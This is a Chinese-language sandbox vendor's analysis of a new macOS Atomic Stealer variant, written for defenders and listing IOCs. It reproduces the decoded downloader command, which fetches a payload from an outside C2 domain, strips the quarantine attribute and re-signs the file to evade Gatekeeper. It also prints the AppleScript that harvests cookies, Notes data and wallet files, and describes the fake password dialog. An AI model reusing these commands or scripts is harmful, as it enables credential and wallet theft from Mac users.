【天穹】MacOS窃密样本:AMOS家族新变种

一、概述

近日,天穹沙箱在进行日常样本狩猎时注意到一个特殊的MacOS样本。经过天穹沙箱动态分析和人工校验,确定该样本为Atomic Stealer​家族,与历史版本不同的是,该样本首次采用了base64编码的osascript下载恶意载荷,因此进一步确定该样本为Atomic Stealer​家族新变种。Atomic Stealer (AMOS) 是专门针对MacOS系统开发的信息窃取恶意软件,于2023年4月首次被发现,此后出现多个变种,某些变种通过.dmg软件包进行传播,一旦安装,它将立即开始搜集系统敏感信息并发送给远程服务器。我们此次分析的就是.dmg软件包类型的窃密样本,以下利用天穹沙箱的自动化分析能力,对该样本的具体行径进行深入分析。

二、样本信息

下载器 (Downloader)

  • 样本名:Setup_gfdsg.dmg
  • SHA1: 02685f530282edf5e728bee825948f1f53e1e203
  • 文件类型:DMG
  • 文件大小:4.65 MB
  • 报告链接:天穹沙箱分析报告

载荷 (Payload)

  • 样本名:1111
  • SHA1:008498c2ff2c32d9289da76dabe88d6b700e619c
  • 文件类型:Mach-O
  • 文件大小:492.52 KB
  • 报告链接:天穹沙箱分析报告

三、样本分析

1、静态分析

下载器样本Setup_gfdsg.dmg是Atomic Stealer​家族中利用软件安装包进行传播的典型样例,为绕过系统对软件包的安装检测,样本给自身添加了合法签名,如图1所示:

图1 样本签名

2、动态分析

2.1、下载载荷

天穹沙箱支持软件包内容智能搜索分析,下载器样本Setup_gfdsg.dmg投递到沙箱后,沙箱根据挂载目录文件类型智能搜索可执行文件,然后调起该可执行文件。样本报告的进程信息展示了样本执行流程,如图2所示,该可执行文件主要是调用osascript执行加密shell命令。

图2 样本执行流程

shell命令使用base64加密,如图3所示,执行第一步是使用base64 --decode进行解码。

图3 执行shell命令

解码后的内容如下所示:

curl -o ~/Library/1111 https://megantic.online/te/Setup && \
chmod +x ~/Library/1111 && \
xattr -cr ~/Library/1111 && \
codesign --force --deep --sign - ~/Library/1111 && \
~/Library/1111

样本调用curl命令从https[:]//megantic.online/te/Setup下载载荷,并将其存储于~/Library/1111文件。之后修改载荷文件属性信息,重新签名后启动载荷。

沙箱报告的动态行为展示了样本执行shell命令的拆解过程,包括base64解码、解码后的shell语句、下载文件、修改文件权限及操作代码签名等,如图4、5所示。样本要执行载荷文件,就要避开或者绕过MacOS的安全检测。样本使用xattr -cr命令递归删除载荷文件的所有扩展属性,主要意图是删除文件的com.apple.quarantine隔离属性​,从而逃避GateKeeper安全机制检查,允许用户打开来自任何来源的软件。

GateKeeper是MacOS上的一项安全技术,用来帮助确保仅受信任的软件可在用户的Mac上运行。当用户从App Store之外的地方下载并打开App、插件或安装器软件包时,它会验证该软件是否来自可识别的开发者、经过Apple公证不含已知的恶意内容且未被修改。在首次打开下载的软件之前,GateKeeper还会请求用户批准,以确保用户没有被诱骗运行他们认为只是数据文件的可执行代码。

图4 shell命令

样本使用codesign --force命令强制对载荷文件进行签名,目的是为通过GateKeeper的签名检测。默认情况下,GateKeeper会帮助确保所有下载的软件已由App Store签名,或者由已注册的开发者签名且经过Apple公证,阻止未签名或未被信任的应用程序运行。

图5 修改文件权限和重新签名

2.2、执行载荷

由于下载载荷链接https[:]//megantic.online/te/Setup已失效,分析人员通过人为手段获取到载荷信息,投入天穹沙箱进行动态分析。根据报告中展示的动态行为数据,可知该载荷样本同Atomic Stealer家族历史样本行为一致,旨在窃取各种敏感信息,包括钥匙串密码、加密钱包密码、浏览器凭据及其他敏感文件等。

获取授权

样本通过osascript -e display dialog命令伪造弹窗,欺骗用户输入密码进行授权,并使用​​dscl命令检测密码是否正确,如图6、7所示。

图6 伪造弹窗获取用户密码
图7 伪造弹窗行为捕获

在样本执行过程中,天穹沙箱的屏幕捕获功能记录了样本伪造弹窗过程,如图8所示。

图8 伪造弹窗屏幕截图

信息收集

样本获取用户授权后,继续使用osascript执行后续的敏感信息收集行为,如图9所示:

图9 信息收集

为方便说明,整理上图脚本内容如下:

set baseFolderPath to (path to home folder as text) & "2076065796"
set fileGrabberFolderPath to (path to home folder as text) & "2076065796:FileGrabber:" 

-- 访问Finder应用
tell application "Finder"
    set username to short user name of (system info) 

    try 
        -- 创建目录用于存放敏感信息和特定文件
        if not (exists folder fileGrabberFolderPath) then 
            make new folder at folder baseFolderPath with properties {name:"FileGrabber"} 
        end if 

        -- 拷贝Safari目录下的cookie文件到创建目录 
        set safariFolder to ((path to library folder from user domain as text) & "Containers:com.apple.Safari:Data:Library:Cookies:") 
        try 
            duplicate file "Cookies.binarycookies" of folder safariFolder to folder baseFolderPath with replacing 
        end try 

        -- 拷贝Notes目录下的数据库文件到创建目录
        set homePath to path to home folder as string 
        set sourceFilePath to homePath & "Library:Group Containers:group.com.apple.notes:" 
        try 
            duplicate file "NoteStore.sqlite" of folder sourceFilePath to folder baseFolderPath with replacing 
        end try 

        set extensionsList to {"txt", "docx", "rtf", "doc", "wallet", "keys", "key"} 
        set desktopFiles to every file of desktop 
        set documentsFiles to every file of folder "Documents" of (path to home folder)

        -- 遍历Desktop和Documents目录下的文件,将后缀名符合extensionsList且文件大小不超过51200的文件拷贝至创建目录
        repeat with aFile in (desktopFiles & documentsFiles) 
            set fileExtension to name extension of aFile 

            if fileExtension is in extensionsList then 
                set fileSize to size of aFile 

                if fileSize ≤ 51200 then 
                    duplicate aFile to folder fileGrabberFolderPath with replacing 
                end if 
            end if 
        end repeat
    end try
end tell

首先,样本通过文件管理器Finder在当前用户目录下创建临时目录用于存放搜集的敏感信息和特定文件。然后根据设置的路径信息,拷贝指定后缀或大小的文件到创建目录。如图10所示,沙箱运行过程截图中记录了样本尝试访问Finder应用的界面,天穹沙箱支持窗体智能识别,自动通过样本的访问申请。

图10 样本访问Finder

如图11、12所示,动态行为记录了样本创建临时目录并窃取敏感数据到创建目录的行为,窃取的敏感数据包括系统信息、用户密码、keychain(钥匙串密码)、cookies、数据库文件及特殊后缀的文档文件等。

图11 创建临时目录
图12 拷贝文件

除上述脚本中列出的目标目录外,样本还遍历了Firefox和Chrome浏览器目录,搜集自动填充信息、密码、cookie、钱包和信用卡等信息,将其拷贝到创建目录,如图13所示:

图13 搜集浏览器数据

样本在遍历完目标目录后,通过ditto命令打包创建目录为zip文件,如图14所示:

图14 ditto压缩

样本搜集完数据就结束了吗?不不不,以经济利益为目的的恶意软件怎会放过任何潜在价值文件呢!根据报告中的网络流量威胁检测和联网活动分析,我们发现样本将打包数据通过http协议发送给了109.120.176.156地址,如图15、16所示:

图15 数据回传
图16 流量检测

以上就是样本执行的全部流程。样本在执行过程中使用了多个shell命令去执行特定行为,对于有疑惑的命令行行为,可以借助TQ-GPT沙箱智能助理去理解其作用。例如,可以向TQ-GPT询问ditto命令行的作用,如图17所示:

图17 ditto命令

四、IOC

恶意文件(SHA1)
02685F530282EDF5E728BEE825948F1F53E1E203          Setup_gfdsg.dmg
008498C2FF2C32D9289DA76DABE88D6B700E619C          1111

C2链接
https[:]//megantic.online/te/Setup                C2链接
http[:]//109.120.176.156/joinsystem               C2链接

报告链接:天穹沙箱分析报告1 | 天穹沙箱分析报告2

五、技术支持与反馈

星图实验室深耕沙箱分析技术多年,致力于让沙箱更好用、更智能。做地表最强的动态分析沙箱,为每个样本分析人员提供便捷易用的分析工具,始终是我们最求的目标。各位同学在使用过程中有任何问题,欢迎联系我们。

天穹沙箱支持模拟14种CPU架构的虚拟机,环境数量50+,全面覆盖PC、服务器、智能终端、IoT设备的主流设备架构形态。在宿主机方面,除了Intel/AMD的x86架构CPU和CentOS操作系统之外,天穹沙箱支持海光、飞腾、鲲鹏等x86、ARM架构国产CPU和银河麒麟、中科方德等信创操作系统。

天穹沙箱系统以云沙箱、引擎输出、数据接口等多种形式服务于公司各个业务部门,包括天眼、终端安全、态势感知、ICG、锡安平台、安服等。